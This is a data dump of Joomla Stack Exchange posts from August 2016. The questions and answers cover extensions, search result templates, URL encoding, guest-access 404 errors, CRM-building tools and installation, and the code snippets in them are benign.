  <row Id="17528" PostTypeId="2" ParentId="17513" CreationDate="2016-08-16T01:39:02.233" Score="1" Body="&lt;p&gt;The best place to look for extensions is the &lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=&amp;amp;filter%5Btags%5D%5B%5D=&amp;amp;filter%5Bcore_catid%5D=246&amp;amp;filter%5Bincludes%5D=&amp;amp;filter%5Bversions%5D=&amp;amp;filter%5Btype%5D=&amp;amp;filter%5Bhasdemo%5D=&amp;amp;order=num_reviews&amp;amp;filter%5Bnewupdated%5D=&amp;amp;filter%5Bscore%5D=&amp;amp;filter%5Bfavourites%5D=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow&quot;&gt;JED (Joomla! Extension Directory)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.joomlaworks.net/extensions/free/allvideos&quot; rel=&quot;nofollow&quot;&gt;AllVideos&lt;/a&gt; is by far the most popular video player extension available for Joomla! since it is a very lightweight plugin (no components or modules).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would do is create a category of articles that is restricted to registered users. Then, create articles inside that category with the videos embedded.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want an all-inclusive component that would keep management of the videos more like YouTube or Vimeo, you could check out &lt;a href=&quot;http://allvideoshare.mrvinoth.com/&quot; rel=&quot;nofollow&quot;&gt;All Share Video&lt;/a&gt; (free) or &lt;a href=&quot;https://www.apptha.com/category/extension/joomla/hd-video-share&quot; rel=&quot;nofollow&quot;&gt;HD Video Share&lt;/a&gt; (premium).&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-08-16T01:39:02.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17529" PostTypeId="1" CreationDate="2016-08-16T03:27:13.310" Score="1" ViewCount="93" Body="&lt;p&gt;Is there a fast way to install Joomla that will create the database and the admin login and install the relevant files from one script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mat&lt;/p&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2016-09-16T00:17:56.047" Title="fastest way to install Joomla" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17530" PostTypeId="1" CreationDate="2016-08-16T05:20:06.743" Score="0" ViewCount="250" Body="&lt;p&gt;I want to create a non SEF URL for an enhancement functionality. Can someone provide example of how the same can be done in code?&lt;/p&gt;&#xA;" OwnerUserId="8551" LastActivityDate="2016-10-15T07:19:09.750" Title="Coding a non SEF url" Tags="|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17531" PostTypeId="2" ParentId="17530" CreationDate="2016-08-16T05:39:32.720" Score="2" Body="&lt;p&gt;Any url in joomla which is not using &lt;strong&gt;JRoute&lt;/strong&gt; method is non SEF url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For eg.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.example.com/index.php?option=com_yourcomponent&amp;amp;view=article&amp;amp;id=1&amp;amp;catid=20&amp;amp;Itemid=4&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/index.php?option=com_yourcomponent&amp;amp;view=article&amp;amp;id=1&amp;amp;catid=20&amp;amp;Itemid=4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also if you enable the SEF URLs from global configuration then all the urls will work as sef urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read More : &lt;a href=&quot;https://docs.joomla.org/Search_Engine_Friendly_URLs&quot; rel=&quot;nofollow&quot;&gt;Search Engine Friendly URLs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-08-16T05:39:32.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17533" PostTypeId="2" ParentId="17526" CreationDate="2016-08-16T10:12:39.153" Score="1" Body="&lt;p&gt;I've never used K2's Custom HTML module, but I would not suggest installing the entire K2 package just to be able to use this module. That's extremely overkill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You best bet is to install the &lt;a href=&quot;https://www.regularlabs.com/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Sourcerer&lt;/a&gt; plugin by &lt;strong&gt;Regular Labs&lt;/strong&gt; (&lt;em&gt;formerly known as &lt;strong&gt;NoNumber&lt;/em&gt;&lt;/strong&gt;). It allows you to add any of the following to your Joomla articles and custom HTML modules:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any kind of HTML&lt;/li&gt;&#xA;&lt;li&gt;CSS&lt;/li&gt;&#xA;&lt;li&gt;Javascript&lt;/li&gt;&#xA;&lt;li&gt;PHP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You simply need to wrap your PHP code in the &lt;code&gt;{source}&lt;/code&gt; tags like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;    echo 'Welcome to my Joomla! site';&#xA;?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-08-16T10:12:39.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17534" PostTypeId="2" ParentId="17454" CreationDate="2016-08-16T10:34:53.167" Score="1" Body="&lt;p&gt;There is no core MVC override support. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the doc you say is outdated &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&#xA;there is a link to a working plugin &lt;a href=&quot;http://gruz.org.ua/en/extensions/mvcoverride.html&quot; rel=&quot;nofollow&quot;&gt;MVC override&lt;/a&gt; (well, mine one).&lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2016-08-16T10:34:53.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17535" PostTypeId="1" AcceptedAnswerId="17536" CreationDate="2016-08-16T11:16:29.170" Score="4" ViewCount="352" Body="&lt;p&gt;I wonder if it is possible to display author name or created_by or created_by_alias in com_search results page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In components/com_search/views/search/tmpl/default_results.php,&#xA;this obviously wouldn't work :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ....&#xA;&amp;lt;dd&amp;gt;&#xA;        &amp;lt;?php echo $result-&amp;gt;created_by_alias; ?&amp;gt;&#xA;    &amp;lt;/dd&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="270" LastActivityDate="2016-08-16T11:42:38.427" Title="How to display author name in joomla search results" Tags="|com-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17536" PostTypeId="2" ParentId="17535" CreationDate="2016-08-16T11:42:38.427" Score="7" Body="&lt;p&gt;You cannot do this with the default Search component without modifying the search plugin database query. This is considered a core hack, therefore not recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I'd suggest using Smart Search:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Plugins&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Smart Search&lt;/strong&gt;, then enable it.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Modules&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Smart Search&lt;/strong&gt;. Enable and assign to a page.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Components&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Smart Search&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Index&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now that the initial steps are done, you should create a &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot;&gt;Template Override&lt;/a&gt; for the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;components\com_finder\views\search\tmpl\default_result.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once done, open the template override file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates\YOUR_TEMPLATE\html\com_finder\search\default_result.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In here, you need to add the following code which will display the author:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;result-&amp;gt;author; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-08-16T11:42:38.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17538" PostTypeId="1" AcceptedAnswerId="17542" CreationDate="2016-08-16T12:36:15.357" Score="4" ViewCount="285" Body="&lt;p&gt;I'm having a bit of a situation here, because of encoding. This problem occurs only on internet explorer (yes, that guy ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the search component, which works nice by the way, but whenever I try to search something with, let's say, an accent, everything goes wrong on IE, because that character doesn't get encoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example, I'm searching &quot;crédit&quot;, so the URL that gets generated is : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://mywebsite.com/index.php/search-result?searchword=crédit&amp;amp;searchphrase=all&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have the encoded version, which should be :  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://mywebsite.com/index.php/search-result?searchword=cr%C3%A9dit&amp;amp;searchphrase=all&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't manage to find where I could change that. Of course, I want to do it as good as possible, which means not modifying any of the Joomla core file, or base components/modules/plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, I sighted an event which could help me : onSearch, however I can't find any example of it and can't get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS : Joomla 3.5 here.&lt;/p&gt;&#xA;" OwnerUserId="8872" LastActivityDate="2016-08-16T14:15:02.463" Title="How to encode search text" Tags="|joomla-3.x|search|com-search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17539" PostTypeId="2" ParentId="17480" CreationDate="2016-08-16T14:00:39.963" Score="1" Body="&lt;p&gt;The redirect manager uses 301 redirects by default, unless you set the header type in the &lt;a href=&quot;http://www.itoctopus.com/the-advanced-mode-in-joomlas-redirect-manager-a-mystery-unveiled&quot; rel=&quot;nofollow&quot;&gt;advanced mode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Always keep in mind that Joomla's redirect manager only works when the URL you are trying to redirect form returns a 404 error code and is caught by the Joomla environment.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-16T14:00:39.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17540" PostTypeId="1" CreationDate="2016-08-16T14:01:35.650" Score="4" ViewCount="435" Body="&lt;p&gt;We started getting a 404 error on a new site using Joomla 3.5.  It is not open to the public yet.  When testing it we just found that when we do open the site to the public it gives us a 404 error.  When we are logged in and go to home page it works fine. As soon as we log out and go back to home page it gives the 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have cleared the cache and checked the menus, etc.  All are working fine until we open the site to the public. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use some help please.&lt;/p&gt;&#xA;" OwnerUserId="8874" LastActivityDate="2022-12-14T21:07:00.833" Title="404 Error when site is opened to general public but works fine when logged in" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17541" PostTypeId="2" ParentId="17540" CreationDate="2016-08-16T14:07:29.343" Score="0" Body="&lt;p&gt;It seems that you are blocking access to the public using an &lt;code&gt;.htaccess&lt;/code&gt; rule and also using configuration settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the &quot;System&quot; - &quot;Global Configuration&quot; and, in the &quot;Site&quot; tab, change the &quot;Site Offline&quot; value to &quot;No&quot;. The reason why you were able to see the website when you are logged in is because logged in admins can still see the website even when it's set to be offline.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-16T14:07:29.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17542" PostTypeId="2" ParentId="17538" CreationDate="2016-08-16T14:15:02.463" Score="5" Body="&lt;p&gt;Copy the file &lt;code&gt;/modules/mod_search/tmpl/default.php&lt;/code&gt; to &lt;code&gt;templates/joomla-template/html/mod_search&lt;/code&gt; (make sure that the file doesn't exist under the destination directory first)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following to the &lt;code&gt;form&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enctype=&quot;application/x-www-form-urlencoded&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, your form tag should be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php');?&amp;gt;&quot; method=&quot;post&quot; enctype=&quot;application/x-www-form-urlencoded&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-16T14:15:02.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17544" PostTypeId="2" ParentId="17540" CreationDate="2016-08-16T14:49:13.963" Score="1" Body="&lt;p&gt;It sounds like your default &quot;Home&quot; menu item (marked with a star in the list of menu items) is set to the wrong access level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the menu item is set to &quot;Public&quot; access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BWlFt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BWlFt.jpg&quot; alt=&quot;Access level&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, if the menu item points to a single article, the article must also be set to public access. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;It's also possible that there is a problem with your ACL (&lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;Access Control List&lt;/a&gt;) settings, since the page works fine when logged in as administrator, but not for guest users. It's hard to say exactly what's wrong without seeing the site, but if possible I suggest creating a separate installation of Joomla and compare the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some places in the admin area where you might want to check the settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Users → Manage → (&lt;kbd&gt;Options&lt;/kbd&gt; button in upper right corner)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure &quot;Guest User Group&quot; is set to &quot;Guests&quot;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/P8rOa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/P8rOa.jpg&quot; alt=&quot;Guest user group&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Users → Access Levels&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check that your viewing access levels are similar to this screenshot, particularly for Public and Guest:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IZlDm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IZlDm.jpg&quot; alt=&quot;Access levels&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check if you have any third-party extensions installed that affects access levels, like membership extensions or similar. If so, disable the extension in &lt;strong&gt;Extensions → Manage → Manage&lt;/strong&gt; (don't uninstall, just disable by clicking the green checkmark.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Update Joomla and all your extensions.&lt;/strong&gt;&lt;br&gt;&#xA;This might not solve the issue, but you should always use the latest version of Joomla (currently 3.6.2) and all extensions, they contain security and bug fixes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2016-08-16T20:27:57.253" LastActivityDate="2016-08-16T20:27:57.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17545" PostTypeId="1" CreationDate="2016-08-16T15:17:00.863" Score="1" ViewCount="3693" Body="&lt;p&gt;I am building an internal database application for Joomla using Fabrik.&#xA;I'm interested to know if there are any alternatives to Fabrik for me to use. Maybe some of them have more options? In my case, I am making an ERM/CRM (database for company with clients, cases etc etc what my directors required). What would you use in this case?&lt;/p&gt;&#xA;" OwnerUserId="7952" LastEditorUserId="115" LastEditDate="2016-08-16T22:49:01.310" LastActivityDate="2020-06-23T20:34:32.090" Title="Are there any alternatives to Fabrik for building a database application (ERM/CRM)?" Tags="|joomla-3.x|database|fabrik|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17546" PostTypeId="2" ParentId="17545" CreationDate="2016-08-16T15:49:59.000" Score="2" Body="&lt;p&gt;I will advise you to make your own component using Joomla MVC and framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The learning curve may be big but then you will have absolute freedom to make any change or development you may need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I told you as a user and admirer of fabrik.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did lots of development using it but eventually you realize that the dependence on fabrik and its learning curve ultimately not worth it and it is better if you invest your time learning the native way to develop components with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your project is small, maybe, but for a thing as big as a ERM/CRM I will definitely do it as I told you.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-08-16T15:49:59.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17547" PostTypeId="2" ParentId="4803" CreationDate="2016-08-16T16:11:26.687" Score="0" Body="&lt;p&gt;You can't automatically generate menus. But you can find many plugins &lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=menu&amp;amp;filter%5Btags%5D%5B%5D=&amp;amp;filter%5Bcore_catid%5D=&amp;amp;filter%5Bincludes%5D=&amp;amp;filter%5Bversions%5D=30&amp;amp;filter%5Btype%5D=&amp;amp;filter%5Bhasdemo%5D=&amp;amp;order=score&amp;amp;filter%5Bnewupdated%5D=&amp;amp;filter%5Bscore%5D=&amp;amp;filter%5Bfavourites%5D=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. However, as with many other Joomla stuff, these plugins are difficult to download, install and make them work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my experience: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add to menu&lt;/strong&gt; - Difficult to use. Bad web site (documentation). Not automatic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Kazaam&lt;/strong&gt;&lt;br&gt;&#xA;Price: Listed as freeware on extensions.joomla.org but it is not (even if the Pro version pretends to be GPL3).&lt;br&gt;&#xA;Download: It won't let you &lt;a href=&quot;https://www.php-web-design.com/index.php?option=com_downloads&amp;amp;h=c1c96dba3ed8e5247e3caa1bad2c4d65&amp;amp;v=1&quot; rel=&quot;nofollow&quot;&gt;download&lt;/a&gt; until you give them your email! &#xA;Documentation: Nicely documented.&lt;br&gt;&#xA;Installation: Easy.&lt;br&gt;&#xA;If anyone has the Pro version (GPL3) please share it. Anyway, the non-Pro edition is not working. The Kazaam menu is there but is empty (does not autoupdate as the manual pretends to do). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.jlinker.com/joomla-extensions/menu-management/jlinker-menu-link-generator&quot; rel=&quot;nofollow&quot;&gt;JLinker&lt;/a&gt;&lt;/strong&gt; (aka: jlmenugenerator)&lt;br&gt;&#xA;Price: Listed as freeware on extensions.joomla.org but it is not.&lt;br&gt;&#xA;Download: It won't let you download until you give them your email!&lt;br&gt;&#xA;Installation: difficult.&lt;br&gt;&#xA;Documentation: bad.&lt;br&gt;&#xA;The tool appears under 'Components' menu. But when you click one of the links, the menus in the open page are broken.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.swmenupro.com/downloads/swmenufree.html&quot; rel=&quot;nofollow&quot;&gt;SwMenuFree&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;Price: Listed as freeware on extensions.joomla.org but it is not.&lt;br&gt;&#xA;Download:  Web site is terrible slooooow.&lt;br&gt;&#xA;Installation: Ok.&lt;br&gt;&#xA;Documentation: Bad.&lt;br&gt;&#xA;It is actually a menu style editor.  The GUI is not so nice (too colorful and non-standard). Uninstalled. &lt;/p&gt;&#xA;" OwnerUserId="8875" LastEditorUserId="8875" LastEditDate="2016-08-16T18:28:56.160" LastActivityDate="2016-08-16T18:28:56.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17549" PostTypeId="1" CreationDate="2016-08-16T18:53:07.790" Score="4" ViewCount="6458" Body="&lt;p&gt;My current version is 3.6.0. When I was trying to directly upgrade to 3.6.2, I always get this error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Download of update package failed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've done upgrading on the same site several times but have never encountered this problem. I checked the configuration.php file, and /tmp folder is set to 0755. Also I looked at the error log, there is no information regarding the failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could possibly be the cause and where can I get more detailed error message than just &quot;download failed&quot;? I host this site on my own virtual server.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2017-03-04T05:36:06.787" Title="&quot;Download of update package failed.&quot; when trying to upgrade to 3.6.2" Tags="|upgrade|joomla-3.6|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17550" PostTypeId="2" ParentId="17545" CreationDate="2016-08-16T19:45:44.697" Score="3" Body="&lt;p&gt;I've used Fabrik for a few projects in the past but for my most recent project I ended up using ChronoForms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used ChronoForms in the past but until recently didn't realize that it's capable of so much more than creating a custom &quot;Contact Us&quot; form. You can easily create lists with Multi-Record Loader, I found those to be more flexible than Fabrik lists. You also have much more control (only if you want to) over how the UI elements are rendered in HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also consider using Joomla MVC for coding a custom component from scratch, as suggested by others here, but I am not personally very strong with PHP, so I voted that out for now.&lt;/p&gt;&#xA;" OwnerUserId="5348" LastActivityDate="2016-08-16T19:45:44.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17551" PostTypeId="2" ParentId="17549" CreationDate="2016-08-16T20:50:38.410" Score="2" Body="&lt;p&gt;Make sure your Joomla Update Component is updated, you might have to &lt;kbd&gt;Clear Cache&lt;/kbd&gt; and &lt;kbd&gt;Find Updates&lt;/kbd&gt; under &lt;strong&gt;Extensions&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Manage&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Update&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G0b1z.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G0b1z.jpg&quot; alt=&quot;Joomla Update Component Update&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have Akeeba Backup installed, make sure it's also updated, just in case.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-08-16T20:50:38.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17552" PostTypeId="2" ParentId="17529" CreationDate="2016-08-16T22:37:29.870" Score="0" Body="&lt;p&gt;Unless you are using the installer included with your hosting control panel, then no, there isn't a &quot;one size fits all&quot; script that creates the database and installs Joomla for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installing Joomla is usually a 2 step process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;create a database, create a database user and assign permissions for the database user to the database&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;upload the Joomla install file to the server, expand the file and run the install script&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The reason it can't be any simpler is because the database creation process varies depending on the hosting environment e.g. cPanel compared to Plesk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is not unique in this respect and it is a similar story for other PHP/MySQL content management systems such as WordPress etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have done this a few times, a Joomla install should only take a few minutes.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-08-16T22:37:29.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17553" PostTypeId="2" ParentId="17529" CreationDate="2016-08-16T23:54:50.447" Score="1" Body="&lt;p&gt;There is no way Joomla can create a database on your hosting account during installation, except on localhost (Wampserver, Xampp etc.) where you usually can add the database on the fly using the 'root' user. You will have to create the database manually and take note of the access details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want to save a couple of seconds downloading and uploading the Joomla installation file, you can use the &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pro version of Akeeba Kickstart&lt;/a&gt; (subscription based). This script has a time-saving feature that lets you download any web accessible file directly to your server, by simply inserting the URL. It even has buttons to instantly download the latest version of Joomla (or WordPress).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9ljR6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ljR6.jpg&quot; alt=&quot;Akeeba Kickstart&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I'm not in any way affiliated with or endorsed by Akeeba Ltd.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-08-16T23:54:50.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17554" PostTypeId="1" CreationDate="2016-08-17T04:28:50.150" Score="0" ViewCount="49" Body="&lt;p&gt;I've just installed Virtuemart 3 on J3. With VM3, I also installed its plugin for PDF invoices etc. So now I see that updated is available for TcPdf Library. But also there's a warning message:&#xA;&quot;Before updating ensure that the update is compatible with your Joomla! installation.&quot; I don't know if it is compatible.&#xA;Versions-wise. My Joomla is 3.6.0 and my Virtuemart is 3.0.16&lt;/p&gt;&#xA;" OwnerUserId="7161" LastEditorUserId="3650" LastEditDate="2016-11-13T11:24:09.323" LastActivityDate="2016-11-13T11:24:09.323" Title="Want to ask about update notice" Tags="|joomla-3.x|virtuemart|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17555" PostTypeId="2" ParentId="16939" CreationDate="2016-08-17T08:07:13.077" Score="0" Body="&lt;p&gt;After some time searching for a solution, the only thing that &quot;solved&quot; the issue was to do a clean install and import the database and the files to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restoring a backup to a subdomain or in a local server showed the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I don’t really know what was going on, thanks for all your responses anyway&lt;/p&gt;&#xA;" OwnerUserId="8594" LastActivityDate="2016-08-17T08:07:13.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
